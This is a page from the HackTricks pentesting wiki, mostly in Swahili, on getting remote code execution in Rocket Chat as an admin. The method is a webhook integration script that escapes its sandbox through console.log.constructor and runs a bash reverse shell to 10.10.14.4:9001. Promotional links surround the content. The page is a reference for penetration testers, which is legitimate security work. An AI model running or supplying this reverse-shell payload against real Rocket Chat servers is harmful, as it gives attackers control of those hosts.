Rocket Chat

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Websec | Uw Cybersecurity Specialist

RCE

Ikiwa wewe ni admin ndani ya Rocket Chat unaweza kupata RCE.

• Nenda kwenye Integrations na uchague New Integration na chagua yoyote: Incoming WebHook au Outgoing WebHook.

• /admin/integrations/incoming

• Kulingana na docs, zote zinatumia ES2015 / ECMAScript 6 (kimsingi JavaScript) kuchakata data. Hivyo hebu tupate rev shell kwa javascript kama:

const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")

• Sanitize WebHook (kanali na chapisho kama jina la mtumiaji lazima kuwepo):

• Sanitize skripti ya WebHook:

• Hifadhi mabadiliko

• Pata URL ya WebHook iliyoundwa:

• Itumie curl na unapaswa kupokea rev shell

Websec | Uw Cybersecurity Specialist

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Angalia mpango wa usajili!

• Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.

• Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud github repos.